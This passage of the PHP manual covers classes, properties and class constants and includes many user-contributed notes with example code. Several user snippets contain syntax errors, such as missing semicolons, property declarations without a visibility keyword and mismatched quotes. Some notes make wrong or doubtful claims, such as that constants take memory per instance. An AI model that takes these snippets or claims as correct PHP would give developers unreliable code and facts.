       function innerFunction(&$this_thing, $message = null) {
          $this_thing->message = (!is_null($message)) ? $message : $this_thing->message;
          $this_thing->echo_something();
       }
       innerFunction($this); // echoes 'Hello'
       innerFunction($this, '<br/>New Message'); // echoes '<br/>New Message'
   }

   public function echo_something() {
       echo $this->message;
   }
}

$class = new MyClass;
$class->MyClassFunction();
?>

By passing $this as a variable by reference, you can access members of the class and even update them. If you don't want to be able to update them, you can simply pass $this to the function but not as a reference.
ialsoagree 03-Feb-2009 01:23
I think it's worth mentioning that if you define a function inside of an object method, that function cannot refer to "$this" - doing so will result in PHP reporting a fatal error:

Fatal error: Using $this when not in object context

<?php
class MyClass {
   public $message = 'Hello';

   public function MyClassFunction() {
       function InnerFunction() {
          echo $this->message; // Reports a fatal error
       }
       innerFunction();
   }
}

$class = new MyClass;
$class->MyClassFunction();
?>

This issue cannot be solved by using the Scope Resolution Operator if you're trying to access a variable:

<?php
class MyClass {
   public $message = 'Hello';

   public function MyClassFunction() {
       function InnerFunction() {
          echo MyClass::message; // Reports a fatal error
       }
       innerFunction();
   }
}

$class = new MyClass;
$class->MyClassFunction();
?>

Additionally, you can NOT create a public function to access that variable:

<?php
class MyClass {
   public $message = 'Hello';

   public function MyClassFunction() {
       function InnerFunction() {
          MyClass::echoSomething();
       }
       innerFunction();
   }

   public function echoSomething() {
      echo $this->message; // Reports a fatal error
   }
}

$class = new MyClass;
$class->MyClassFunction();
?>

Note that in this last case, the error is generated on the line below echoSomething function declaration, not at MyClass::echoSomething();

However, it is worth noting that when called directly, echoSomething works fine:

<?php
class MyClass {
   public $message = 'Hello';

   public function MyClassFunction() {
       function InnerFunction() {
          MyClass::echoSomething();
       }
       innerFunction();
   }

   public function echoSomething() {
      echo $this->message; // Echoes 'Hello'
   }
}

$class = new MyClass;
$class->echoSomething();
?>
chris (@) xeneco (dot) co (dot) uk 27-Nov-2008 12:25
Regarding object inheritance:

I hope this helps someone, it should help if you're new to OOPS

<?php

class A {

    public $x = 'A';

    public function foo() {
        $b = new B;
        $b->bar();
        return $this->x;
    }
}

class B extends A {
    public function bar() {
        $this->x = 'B';
    }
}

$a = new A

echo $a->foo();    //A

?>

I was doing something similar to this (example is greatly simplified to show logic) and spent a long while trying to work out why I would always get 'A' and never get 'B'. Now, after a few weeks, I have revisited the problem and have worked out why:

The code 'new B' creates a new instance of class B. While class B extends class A, it is a new object and not an extension of the object created by 'new A'

The value of $x is set to 'B' within the object $b, but not in object $a.

If within A::foo(), one was to access $b->x then one would obtain the vale 'B', for example

<?php

class C {

    public $x = 'C';

    public function foo() {
        $c = new C;
        $c->bar();
        $this->x = $c->$x
        return $this->x;
    }
}

class D extends C {
    public function bar() {
        $this->x = 'D';
    }
}

$c = new C

echo $c->foo();    //D

?>
Jeffrey 09-Oct-2008 12:49
A PHP Class can be used for several things, but at the most basic level, you'll use classes to "organize and deal with like-minded data". Here's what I mean by "organizing like-minded data". First, start with unorganized data.

<?php
$customer_name;
$item_name;
$item_price;
$customer_address;
$item_qty;
$item_total;
?>

Now to organize the data into PHP classes:

<?php
class Customer {
  $name;          // same as $customer_name
  $address;       // same as $customer_address
}

class Item {
  $name;          // same as $item_name
  $price;         // same as $item_price
  $qty;           // same as $item_qty
  $total;         // same as $item_total
}
?>

Now here's what I mean by "dealing" with the data. Note: The data is already organized, so that in itself makes writing new functions extremely easy.

<?php
class Customer {
  public $name, $address;                   // the data for this class...

  // function to deal with user-input / validation
  // function to build string for output
  // function to write -> database
  // function to  read <- database
  // etc, etc
}

class Item {
  public $name, $price, $qty, $total;        // the data for this class...

  // function to calculate total
  // function to format numbers
  // function to deal with user-input / validation
  // function to build string for output
  // function to write -> database
  // function to  read <- database
  // etc, etc
}
?>

Imagination that each function you write only calls the bits of data in that class. Some functions may access all the data, while other functions may only access one piece of data. If each function revolves around the data inside, then you have created a good class.
wbcarts at juno dot com 21-Aug-2008 03:11
CLASSES and OBJECTS that represent the "Ideal World"

Wouldn't it be great to get the lawn mowed by saying $son->mowLawn()? Assuming the function mowLawn() is defined, and you have a son that doesn't throw errors, the lawn will be mowed.

In the following example; let objects of type Line3D measure their own length in 3-dimensional space. Why should I or PHP have to provide another method from outside this class to calculate length, when the class itself holds all the neccessary data and has the education to make the calculation for itself?

<?php

/*
 * Point3D.php
 *
 * Represents one locaton or position in 3-dimensional space
 * using an (x, y, z) coordinate system.
 */
class Point3D
{
    public $x;
    public $y;
    public $z;                  // the x coordinate of this Point.

    /*
     * use the x and y variables inherited from Point.php.
     */
    public function __construct($xCoord=0, $yCoord=0, $zCoord=0)
    {
        $this->x = $xCoord;
    $this->y = $yCoord;
        $this->z = $zCoord;
    }

    /*
     * the (String) representation of this Point as "Point3D(x, y, z)".
     */
    public function __toString()
    {
        return 'Point3D(x=' . $this->x . ', y=' . $this->y . ', z=' . $this->z . ')';
    }
}

/*
 * Line3D.php
 *
 * Represents one Line in 3-dimensional space using two Point3D objects.
 */
class Line3D
{
    $start;
    $end;

    public function __construct($xCoord1=0, $yCoord1=0, $zCoord1=0, $xCoord2=1, $yCoord2=1, $zCoord2=1)
    {
        $this->start = new Point3D($xCoord1, $yCoord1, $zCoord1);
        $this->end = new Point3D($xCoord2, $yCoord2, $zCoord2);
    }

    /*
     * calculate the length of this Line in 3-dimensional space.
     */
    public function getLength()
    {
        return sqrt(
            pow($this->start->x - $this->end->x, 2) +
            pow($this->start->y - $this->end->y, 2) +
            pow($this->start->z - $this->end->z, 2)
        );
    }

    /*
     * The (String) representation of this Line as "Line3D[start, end, length]".
     */
    public function __toString()
    {
        return 'Line3D[start=' . $this->start .
            ', end=' . $this->end .
            ', length=' . $this->getLength() . ']';
    }
}

/*
 * create and display objects of type Line3D.
 */
echo '<p>' . (new Line3D()) . "</p>\n";
echo '<p>' . (new Line3D(0, 0, 0, 100, 100, 0)) . "</p>\n";
echo '<p>' . (new Line3D(0, 0, 0, 100, 100, 100)) . "</p>\n";

?>

  <--  The results look like this  -->

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=1, y=1, z=1), length=1.73205080757]

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=100, y=100, z=0), length=141.421356237]

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=100, y=100, z=100), length=173.205080757]

My absolute favorite thing about OOP is that "good" objects keep themselves in check. I mean really, it's the exact same thing in reality... like, if you hire a plumber to fix your kitchen sink, wouldn't you expect him to figure out the best plan of attack? Wouldn't he dislike the fact that you want to control the whole job? Wouldn't you expect him to not give you additional problems? And for god's sake, it is too much to ask that he cleans up before he leaves?

I say, design your classes well, so they can do their jobs uninterrupted... who like bad news? And, if your classes and objects are well defined, educated, and have all the necessary data to work on (like the examples above do), you won't have to micro-manage the whole program from outside of the class. In other words... create an object, and LET IT RIP!
info at youwanttoremovethisvakantiebaas dot nl 21-Apr-2008 12:40
if you do this
<?php

$x = new b();

class b extends a {}

class a { }

?>
PHP will tell you "class b not found", because you've defined class b before a. However, the error tells you something different.... Got me a little confused :)
aaron at thatone dot com 16-Dec-2007 03:46
I was confused at first about object assignment, because it's not quite the same as normal assignment or assignment by reference. But I think I've figured out what's going on.

First, think of variables in PHP as data slots. Each one is a name that points to a data slot that can hold a value that is one of the basic data types: a number, a string, a boolean, etc. When you create a reference, you are making a second name that points at the same data slot. When you assign one variable to another, you are copying the contents of one data slot to another data slot.

Now, the trick is that object instances are not like the basic data types. They cannot be held in the data slots directly. Instead, an object's "handle" goes in the data slot. This is an identifier that points at one particular instance of an obect. So, the object handle, although not directly visible to the programmer, is one of the basic datatypes.

What makes this tricky is that when you take a variable which holds an object handle, and you assign it to another variable, that other variable gets a copy of the same object handle. This means that both variables can change the state of the same object instance. But they are not references, so if one of the variables is assigned a new value, it does not affect the other variable.

<?php
// Assignment of an object
Class Object{
   public $foo="bar";
};

$objectVar = new Object();
$reference =& $objectVar;
$assignment = $objectVar

//
// $objectVar --->+---------+
//                |(handle1)----+
// $reference --->+---------+   |
//                              |
//                +---------+   |
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="bar"
//
?>

$assignment has a different data slot from $objectVar, but its data slot holds a handle to the same object. This makes it behave in some ways like a reference. If you use the variable $objectVar to change the state of the Object instance, those changes also show up under $assignment, because it is pointing at that same Object instance.

<?php
$objectVar->foo = "qux";
print_r( $objectVar );
print_r( $reference );
print_r( $assignment );

//
// $objectVar --->+---------+
//                |(handle1)----+
// $reference --->+---------+   |
//                              |
//                +---------+   |
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="qux"
//
?>

But it is not exactly the same as a reference. If you null out $objectVar, you replace the handle in its data slot with NULL. This means that $reference, which points at the same data slot, will also be NULL. But $assignment, which is a different data slot, will still hold its copy of the handle to the Object instance, so it will not be NULL.

<?php
$objectVar = null;
print_r($objectVar);
print_r($reference);
print_r($assignment);

//
// $objectVar --->+---------+
//                |  NULL   |
// $reference --->+---------+
//
//                +---------+
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="qux"
?>
alan at alan-ng dot net 10-Oct-2007 06:41
The following odd behavior happens in php version 5.1.4 (and presumably some other versions) that does not happen in php version 5.2.1 (and possibly other versions > 5.1.4).

<?php

$_SESSION['instance']=...;

$instance=new SomeClass;

?>

The second line will not only create the $instance object successfully, it will also modify the value of $_SESSION['instance']!

The workaround I arrived at, after trial and error, was to avoid  using object names which match a $_SESSION array key.

This is not intended to be a bug report, since it was apparently fixed by version 5.2.1, so it's just a workaround suggestion.
Dan Dascalescu 27-Oct-2006 08:00
If E_STRICT is enabled, the first example will generate the following error (and a few others akin to it):

Non-static method A::foo() should not be called statically on line 26

The example should have explicitly declared the methods foo() and bar() as static:

class A
{
    static function foo()
    {
...


Properties

Class member variables are called "properties". You may also see them referred to using other terms such as "attributes" or "fields", but for the purposes of this reference we will use "properties". They are defined by using one of the keywords public, protected, or private, followed by a normal variable declaration. This declaration may include an initialization, but this initialization must be a constant value--that is, it must be able to be evaluated at compile time and must not depend on run-time information in order to be evaluated.

See Visibility for more information on the meanings of public, protected, and private.

Note:

In order to maintain backward compatibility with PHP 4, PHP 5 will still accept the use of the keyword var in property declarations instead of (or in addition to) public, protected, or private. However, var is no longer required. In versions of PHP from 5.0 to 5.1.3, the use of var was considered deprecated and would issue an E_STRICT warning, but since PHP 5.1.3 it is no longer deprecated and does not issue the warning.

If you declare a property using var instead of one of public, protected, or private, then PHP 5 will treat the property as if it had been declared as public.

Within class methods non-static properties may be accessed by using -> (Object Operator): $this->property (where property is the name of the property). Static properties are accessed by using the :: (Double Colon): self::$property. See Static Keyword for more information on the difference between static and non-static properties.

The pseudo-variable $this is available inside any class method when that method is called from within an object context. $this is a reference to the calling object (usually the object to which the method belongs, but possibly another object, if the method is called statically from the context of a secondary object).

Example #1 property declarations

<?php
class SimpleClass
{
   // invalid property declarations:
   public $var1 = 'hello ' . 'world';
   public $var2 = <<<EOD
hello world
EOD;
   public $var3 = 1+2;
   public $var4 = self::myStaticMethod();
   public $var5 = $myVar;

   // valid property declarations:
   public $var6 = myConstant;
   public $var7 = array(true, false);

   // This is allowed only in PHP 5.3.0 and later.
   public $var8 = <<<'EOD'
hello world
EOD;
}
?>

Note:

There are some nice functions to handle classes and objects. You might want to take a look at the Class/Object Functions.

Unlike heredocs, nowdocs can be used in any static data context, including property declarations.

Example #2 Example of using a nowdoc to initialize a property

<?php
class foo {
   // As of PHP 5.3.0
   public $bar = <<<'EOT'
bar
EOT;
}
?>

Note:

Nowdoc support was added in PHP 5.3.0.

User Contributed Notes

php at webflips dot net 08-Apr-2014 02:15
Heredoc IS valid as of PHP 5.3 and this is documented in the manual at http://php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc

Only heredocs containing variables are invalid because then it becomes dynamic.
Ashley Dambra 16-Feb-2014 07:36
Updated method objectThis() to transtypage class array properties or array to stdClass.

Hope it help you.

public function objectThis($array = null) {
    if (!$array) {
        foreach ($this as $property_name => $property_values) {
            if (is_array($property_values) && !empty($property_values)) {
                $this->{$property_name} = $this->objectThis($property_values);
            } else if (is_array($property_values) && empty($property_values)) {
                $this->{$property_name} = new stdClass();
            }
        }
    } else {
        $object = new stdClass();
        foreach ($array as $index => $values) {
            if (is_array($values) && empty($values)) {
                $object->{$index} = new stdClass();
            } else if (is_array($values)) {
                $object->{$index} = $this->objectThis($values);
            } else {
                $object->{$index} = $values;
            }
        }
        return $object;
    }
}
Ashley Dambra 16-Feb-2014 07:29
Updated method objectThis() to transtypage class array properties or array to stdClass.

Hope it help you.

public function objectThis($array = null) {
    if (!$array) {
        foreach ($this as $property_name => $property_values) {
            if (is_array($property_values) && !empty($property_values)) {
                $this->{$property_name} = $this->objectThis($property_values);
            } else if (is_array($property_values) && empty($property_values)) {
                $this->{$property_name} = new stdClass();
            }
        }
    } else {
        $object = new stdClass();
        foreach ($array as $index => $values) {
            if (is_array($values) && empty($values)) {
                $object->{$index} = new stdClass();
            } else if (is_array($values)) {
                $object->{$index} = $this->objectThis($values);
            } else {
                $object->{$index} = $values;
            }
        }
        return $object;
    }
}
AshleyDambra at live dot com 16-Feb-2014 07:08
Add this method to you class in order to 'transtypage' all the array properties into stdClass();

Hope it help you.

public function objectThis($object = null) {
    if (!$object) {
        foreach ($this as $property_name => $property_values) {
            if (is_array($property_values)) {
                $this->{$property_name} = $this->objectThis($property_values);
            }
        }
    } else {
        $object2 = new stdClass();
        foreach ($object as $index => $values) {
            if (is_array($values)) {
                $object2->{$index} = $this->objectThis($values);
            } else {
                $object2->{$index} = $values;
            }
        }
        return $object2;
    }
}
vpmhieu{at}gmail.com 16-Dec-2013 07:45
Using heredoc for property declaration is valid (tested), but the 1st example in document list it as invalid declaration.
singhkumardinesh at gmail dot com 23-Aug-2013 05:54
if you run this below program it will through the error. but in the example related we have shown that it is possible.

class example {
    public $public = self::getStaticFunction();
    static function getStaticFunction(){
        return 1+1;
    }
}
$obj = new example();
echo $obj->public;

ERROR:

( ! ) Parse error: syntax error, unexpected '(', expecting ',' or ';' in C:\wamp\www\php\class.php on line 3
Anonymous 17-Apr-2012 06:16
In case this saves anyone any time, I spent ages working out why the following didn't work:

class MyClass
{
    private $foo = FALSE;

    public function __construct()
    {
        $this->$foo = TRUE;

        echo($this->$foo);
    }
}

$bar = new MyClass();

giving "Fatal error: Cannot access empty property in ...test_class.php on line 8"

The subtle change of removing the $ before accesses of $foo fixes this:

class MyClass
{
    private $foo = FALSE;

    public function __construct()
    {
        $this->foo = TRUE;

        echo($this->foo);
    }
}

$bar = new MyClass();

I guess because it's treating $foo like a variable in the first example, so trying to call $this->FALSE (or something along those lines) which makes no sense. It's obvious once you've realised, but there aren't any examples of accessing on this page that show that.
Anonymous 12-Mar-2011 12:18
$this can be cast to array.  But when doing so, it prefixes the property names/new array keys with certain data depending on the property classification.  Public property names are not changed.  Protected properties are prefixed with a space-padded '*'.  Private properties are prefixed with the space-padded class name...

<?php

class test
{
    public $var1 = 1;
    protected $var2 = 2;
    private $var3 = 3;
    static $var4 = 4;

    public function toArray()
    {
        return (array) $this;
    }
}

$t = new test;
print_r($t->toArray());

/* outputs:

Array
(
    [var1] => 1
    [ * var2] => 2
    [ test var3] => 3
)

*/
?>

This is documented behavior when converting any object to an array (see </language.types.array.php#language.types.array.casting> PHP manual page).  All properties regardless of visibility will be shown when casting an object to array (with exceptions of a few built-in objects).

To get an array with all property names unaltered, use the 'get_object_vars($this)' function in any method within class scope to retrieve an array of all properties regardless of external visibility, or 'get_object_vars($object)' outside class scope to retrieve an array of only public properties (see: </function.get-object-vars.php> PHP manual page).
zzzzBov 05-Jun-2010 06:21
Do not confuse php's version of properties with properties in other languages (C++ for example).  In php, properties are the same as attributes, simple variables without functionality.  They should be called attributes, not properties.

Properties have implicit accessor and mutator functionality.  I've created an abstract class that allows implicit property functionality.

<?php

abstract class PropertyObject
{
  public function __get($name)
  {
    if (method_exists($this, ($method = 'get_'.$name)))
    {
      return $this->$method();
    }
    else return;
  }

  public function __isset($name)
  {
    if (method_exists($this, ($method = 'isset_'.$name)))
    {
      return $this->$method();
    }
    else return;
  }

  public function __set($name, $value)
  {
    if (method_exists($this, ($method = 'set_'.$name)))
    {
      $this->$method($value);
    }
  }

  public function __unset($name)
  {
    if (method_exists($this, ($method = 'unset_'.$name)))
    {
      $this->$method();
    }
  }
}

?>

after extending this class, you can create accessors and mutators that will be called automagically, using php's magic methods, when the corresponding property is accessed.
Anonymous 17-Nov-2009 04:51
As of PHP 5.3.0, heredocs can also be used in property declarations.

<?php
class foo {
   // As of PHP 5.3.0
   public $bar = <<<EOT
bar
EOT;
}
?>


Class Constants

It is possible to define constant values on a per-class basis remaining the same and unchangeable. Constants differ from normal variables in that you don't use the $ symbol to declare or use them.

The value must be a constant expression, not (for example) a variable, a property, a result of a mathematical operation, or a function call.

It's also possible for interfaces to have constants. Look at the interface documentation for examples.

As of PHP 5.3.0, it's possible to reference the class using a variable. The variable's value can not be a keyword (e.g. self, parent and static).

Example #1 Defining and using a constant

<?php
class MyClass
{
    const CONSTANT = 'constant value';

    function showConstant() {
        echo  self::CONSTANT . "\n";
    }
}

echo MyClass::CONSTANT . "\n";

$classname = "MyClass";
echo $classname::CONSTANT . "\n"; // As of PHP 5.3.0

$class = new MyClass();
$class->showConstant();

echo $class::CONSTANT."\n"; // As of PHP 5.3.0
?>

Example #2 Static data example

<?php
class foo {
    // As of PHP 5.3.0
    const BAR = <<<'EOT'
bar
EOT;
}
?>

Unlike heredocs, nowdocs can be used in any static data context.

Note:

Nowdoc support was added in PHP 5.3.0.

User Contributed Notes

enrico_kaelert at kabelmail dot com 02-May-2014 04:05
additional to tmp dot 4 dot longoria at gmail dot com ´s post:
quote:
it's possible to declare constant in base class, and override it in child,
/quote

Its not that we overwrite them.
Its more that each got its own:
<?php
abstract class dbObject
{
    const TABLE_NAME='undefined';
}

class dbPerson extends dbObject
{
    const TABLE_NAME='persons';

    public static function getSelf()
    {
        return self::TABLE_NAME;
    }
    public static function getParent()
    {
        return parent::TABLE_NAME;
    }
}

class dbAdmin extends dbPerson
{
    const TABLE_NAME='admins';

    public static function getSelf()
    {
        return self::TABLE_NAME;
    }
    public static function getParent()
    {
        return parent::TABLE_NAME;
    }
}

echo '<pre>
im class dbPerson{} and this is my:
    self TABLE_NAME:    '.dbPerson::getSelf().'   // persons
    parent TABLE_NAME: '.dbPerson::getParent().'  // undefined

im class dbAdmin{} and this is my:
    self TABLE_NAME:   '.dbAdmin::getSelf().'    // admins
    parent TABLE_NAME: '.dbAdmin::getParent().'  // persons
';
?>

or more readable:
<?php
class ParentClass
{
    const CONSTANT = 'CONST_PARENT';
}

class A extends ParentClass
{
    const CONSTANT = 'CONST_A';

    public static function getSelf()
    {
        return self::CONSTANT;
    }
    public static function getParent()
    {
        return parent::CONSTANT;
    }
}

echo '<pre>
im class A{} and this is my:
    self CONSTANT:    '.A::getSelf().'   // CONST_A
    parent CONSTANT: '.A::getParent().'  // CONST_PARENT
';
?>
Xiong Chiamiov 11-Mar-2014 08:36
const can also be used directly in namespaces, a feature never explicitly stated in the documentation.

<?php
# foo.php
namespace Foo;

const BAR = 1;
?>

<?php
# bar.php
require 'foo.php';

var_dump(Foo\BAR); // => int(1)
?>
delete dot this dot and dot dots dot gt at kani dot hu 16-Jan-2014 08:05
I think it's useful if we draw some attention to late static binding here:
<?php
class A {
    const MY_CONST = false;
    public function my_const_self() {
        return self::MY_CONST;
    }
    public function my_const_static() {
        return static::MY_CONST;
    }
}

class B extends A {
   const MY_CONST = true;
}

$b = new B();
echo $b->my_const_self ? 'yes' : 'no'; // output: no
echo $b->my_const_static ? 'yes' : 'no'; // output: yes
?>
keenskelly at gmail dot com 14-Dec-2013 05:42
Re: "The value must be a constant expression, not (for example) a variable, a property, a result of a mathematical operation, or a function call."

I dare say that "a mathematical operation" can indeed be a constant expression. I was quite surprised by this limitation; you cannot, for example do something like:

const LIMITMB = 20;
const LIMITB = LIMITMB * 1024 * 1024;

It is very common to be able to express something like that in other languages, like C with #defines, where changing one definition has a cascading effect on others without having to pre-calculate hard-coded numbers all over the place. So beware, you might be better off using a private static or global contstant definition if you need to do anything more sophisticated than a name=primitive value pair.
Anonymous 30-Oct-2013 08:38
Noted by another is that class constants take up memory for every instance. I cannot see this functionality being accurate, so testing thusly:

class SomeClass {
 const thing = 0;
 const thing2 = 1;
}

$m0 = memory_get_usage();
$p0 = new SomeClass();
$p1 = new SomeClass();
$p2 = new SomeClass();
$m1 = memory_get_usage();
printf("memory %d<br />", $m1 - $m0);

The output does not change when one alters the count of constants in "SomeClass".
jaimz at vertigolabs dot org 29-Oct-2013 03:01
I thought it would be relevant to point out that with php 5.5, you can not use self::class, static::class, or parent::class to produce a FQN. Doing so produces a PHP Parse error:

"PHP Parse error:  syntax error, unexpected 'class' (T_CLASS), expecting variable (T_VARIABLE) or '$'"

It would be nice if you could do this however.
nanhe dot kumar at gmail dot com 10-Jul-2013 07:12
class Country{
const IND = "India';
const PK='Pakistan';
contst NK='Nanhe kumar';
}

$countryCode='IND';
constant("Country::$countryCode");

$countryCode='PK';
constant("Country::$countryCode");
Joshua Dickerson 28-May-2013 07:51
Class constants are allocated per instance of the class. If you create a class with 100 constants, each with 100 bytes, and 100 instances of that class, you will use 1 million bytes. Obviously that is a fringe case but remember that when you are creating constants that you might not need in every instance.
moechofe 07-Dec-2012 11:41
Using "const" in the global context works:

<?php
const FOO = 'bar';
var_dump(FOO);
?>
ryan at derokorian dot com 07-Jun-2012 12:21
It may seem obvious, but class constants are always publicly visible. They cannot be made private or protected. I do not see it state that in the docs anywhere.
tmp dot 4 dot longoria at gmail dot com 04-Jun-2011 10:52
it's possible to declare constant in base class, and override it in child, and access to correct value of the const from the static method is possible by 'get_called_class' method:
<?php
abstract class dbObject
{
    const TABLE_NAME='undefined';

    public static function GetAll()
    {
        $c = get_called_class();
        return "SELECT * FROM `".$c::TABLE_NAME."`";
    }
}

class dbPerson extends dbObject
{
    const TABLE_NAME='persons';
}

class dbAdmin extends dbPerson
{
    const TABLE_NAME='admins';
}

echo dbPerson::GetAll()."<br>";//output: "SELECT * FROM `persons`"
echo dbAdmin::GetAll()."<br>";//output: "SELECT * FROM `admins`"

?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Nov-2010 08:20
Suprisingly consts are lazy bound even though you use self instead of static:
<?php
class A{
  const X=1;
  const Y=self::X;
}
class B extends A{
  const X=1.0;
}
var_dump(B::Y); // float(1.0)
?>
anonymous 28-Sep-2010 03:32
Most people miss the point in declaring constants and confuse then things by trying to declare things like functions or arrays as constants. What happens next is to try things that are more complicated then necessary and sometimes lead to bad coding practices. Let me explain...

A constant is a name for a value (but it's NOT a variable), that usually will be replaced in the code while it gets COMPILED and NOT at runtime.

So returned values from functions can't be used, because they will return a value only at runtime.

Arrays can't be used, because they are data structures that exist at runtime.

One main purpose of declaring a constant is usually using a value in your code, that you can replace easily in one place without looking for all the occurences. Another is, to avoid mistakes.

Think about some examples written by some before me:

1. const MY_ARR = "return array(\"A\", \"B\", \"C\", \"D\");";
It was said, this would declare an array that can be used with eval. WRONG! This is just a string as constant, NOT an array. Does it make sense if it would be possible to declare an array as constant? Probably not. Instead declare the values of the array as constants and make an array variable.

2. const magic_quotes = (bool)get_magic_quotes_gpc();
This can't work, of course. And it doesn't make sense either. The function already returns the value, there is no purpose in declaring a constant for the same thing.

3. Someone spoke about "dynamic" assignments to constants. What? There are no dynamic assignments to constants, runtime assignments work _only_ with variables. Let's take the proposed example:

<?php
/**
 * Constants that deal only with the database
 */
class DbConstant extends aClassConstant {
    protected $host = 'localhost';
    protected $user = 'user';
    protected $password = 'pass';
    protected $database = 'db';
    protected $time;
    function __construct() {
        $this->time = time() + 1; // dynamic assignment
    }
}
?>

Those aren't constants, those are properties of the class. Something like "this->time = time()" would even totally defy the purpose of a constant. Constants are supposed to be just that, constant values, on every execution. They are not supposed to change every time a script runs or a class is instantiated.

Conclusion: Don't try to reinvent constants as variables. If constants don't work, just use variables. Then you don't need to reinvent methods to achieve things for what is already there.
Anonymous 13-Nov-2009 09:03
Note that since constants are tied to the class definition, they are static by definition and cannot be accessed using the -> operator.

A side effect of this is that it's entirely possible for a class constant to have the same name as a property (static or object):

<?php
class Foo
{
  const foo = 'bar';
  public $foo = 'foobar';

  const bar = 'foo';
  static $bar = 'foobar';
}

var_dump(foo::$bar); // static property
var_dump(foo::bar);  // class constant

$bar = new Foo();
var_dump($bar->foo); // object property
var_dump(bar::foo); // class constant
?>
cwreace at yahoo dot com 07-Oct-2008 03:22
A useful technique I've found is to use interfaces for package- or application-wide constants, making it easy to incorporate them into any classes that need access to them:

<?php
interface AppConstants
{
   const FOOBAR = 'Hello, World.';
}

class Example implements AppConstants
{
   public function test()
   {
      echo self::FOOBAR;
   }
}

$obj = new Example();
$obj->test();  // outputs "Hello, world."
?>

I realize the same could be done simply by defining the constant in a class and accessing it via "class_name::const_name", but I find this a little nicer in that the class declaration makes it immediately obvious that you accessing values from the implemented interface.
wbcarts at juno dot com 12-Sep-2008 09:12
Use CONST to set UPPER and LOWER LIMITS

If you have code that accepts user input or you just need to make sure input is acceptable, you can use constants to set upper and lower limits. Note: a static function that enforces your limits is highly recommended... sniff the clamp() function below for a taste.

<?php

class Dimension
{
  const MIN = 0, MAX = 800;

  public $width, $height;

  public function __construct($w = 0, $h = 0){
    $this->width  = self::clamp($w);
    $this->height = self::clamp($h);
  }

  public function __toString(){
    return "Dimension [width=$this->width, height=$this->height]";
  }

  protected static function clamp($value){
    if($value < self::MIN) $value = self::MIN;
    if($value > self::MAX) $value = self::MAX;
    return $value;
  }
}

echo (new Dimension()) . '<br>';
echo (new Dimension(1500, 97)) . '<br>';
echo (new Dimension(14, -20)) . '<br>';
echo (new Dimension(240, 80)) . '<br>';

?>

- - - - - - - -
 Dimension [width=0, height=0] - default size
 Dimension [width=800, height=97] - width has been clamped to MAX
 Dimension [width=14, height=0] - height has been clamped to MIN
 Dimension [width=240, height=80] - width and height unchanged
- - - - - - - -

Setting upper and lower limits on your classes also help your objects make sense. For example, it is not possible for the width or height of a Dimension to be negative. It is up to you to keep phoney input from corrupting your objects, and to avoid potential errors and exceptions in other parts of your code.
elmar huebschmann 02-Jul-2008 03:12
The major problem of constants is for me, you cant use them for binary flags.

<?php
class constant {

    const MODE_FLAG_1 = 1;
    const MODE_FLAG_2 = 2;
    const MODE_FLAG_3 = 4;

    const DEFAULT_MODE = self::FLAG_1 | self::FLAG_2

    private function foo ($mode=self::DEFAULT_MODE) {
        // some operations
    }
}
?>

This code will not work because constants can't be an calculation result. You could use

<?php
    const DEFAULT_MODE = 3;
?>

instead, but we use flags to be value indipendent. So you would miss target with it. Only way is to use defines like ever before.
riku at helloit dot fi 13-Feb-2008 12:24
pre 5.3 can refer a class using variable and get constants with:

<?php
function get_class_const($class, $const){
  return constant(sprintf('%s::%s', $class, $const));
}

class Foo{
  const BAR = 'foobar';
}

$class = 'Foo';

echo get_class_const($class, 'BAR');
//'foobar'
?>
nrg1981 {AT} hotmail {DOT} com 05-Oct-2007 03:19
If you have a class which defines a constant which may be overridden in child definitions, here are two methods how the parent can access that constant:

<?php
class Weather
{
    const danger = 'parent';

    static function getDanger($class)
    {
        // Code to return the danger field from the given class name
    }

}

class Rain extends Weather
{
    const danger = 'child';
}
?>

The two options to place in the parent accessor are:

        eval('$danger = ' . $class . '::danger;');

or:

        $danger = constant($class . '::danger');

I prefer the last option, but they both seem to work.

So, why might this be useful?   Well, in my case I have a page class which contains various common functions for all pages and specific page classes extend this parent class.   The parent class has a static method which takes an argument (class name) and returns a new instantiation of the class.

Each child class has a constant which defines the access level the user must have in order to view the page.   The parent must check this variable before creating and returning an instance of the child - the problem is that the class name is a variable and $class::danger will treat $class as an object.
webmaster at chaosonline dot de 24-Sep-2006 01:57
Since constants of a child class are not accessible from the parent class via self::CONST and there is no special keyword to access the constant (like this::CONST), i use private static variables and these two methods to make them read-only accessible from object's parent/child classes as well as statically from outside:

<?php
class b extends a {
    private static $CONST = 'any value';

    public static function getConstFromOutside($const) {
        return self::$$const;
    }

    protected function getConst($const) {
        return self::$$const;
    }
}
?>

With those methods in the child class, you are now able to read the variables from the parent or child class:

<?php
class a {
    private function readConst() {
        return $this->getConst('CONST');
    }

    abstract public static function getConstFromOutside($const);
    abstract protected function getConst($const);
}
?>

From outside of the object:

<?php
echo b::getConstFromOutside('CONST');
?>

You maybe want to put the methods into an interface.

However, class b's attribute $CONST is not a constant, so it is changeable by methods inside of class b, but it works for me and in my opinion, it is better than using real constants and accessing them by calling with eval:

<?php
protected function getConst($const) {
    eval('$value = '.get_class($this).'::'.$const.';');
    return $value;
}
?>
caliban at darklock dot com 15-Dec-2004 07:55
Lest anyone think this is somehow an omission in PHP, there is simply no point to having a protected or private constant. Access specifiers identify who has the right to *change* members, not who has the right to read them:

<?php
// define a test class
class Test
{
    public static $open=2;
    protected static $var=1;
    private static $secret=3;
}

$classname="Test";

// reflect class information
$x=new ReflectionClass($classname);
$y=array();
foreach($x->GetStaticProperties() as $k=>$v)
    $y[str_replace(chr(0),"@",$k)]=$v;

// define the variables to search for
$a=array("open","var","secret","nothing");
foreach($a as $b)
{
    if(isset($y["$b"]))
        echo "\"$b\" is public: {$y["$b"]}<br/>";
    elseif(isset($y["@*@$b"]))
        echo "\"$b\" is protected: {$y["@*@$b"]}<br/>";
    elseif(isset($y["@$classname@$b"]))
        echo "\"$b\" is private: {$y["@$classname@$b"]}<br/>";
    else
        echo "\"$b\" is not a static member of $classname<br/>";
}
?>

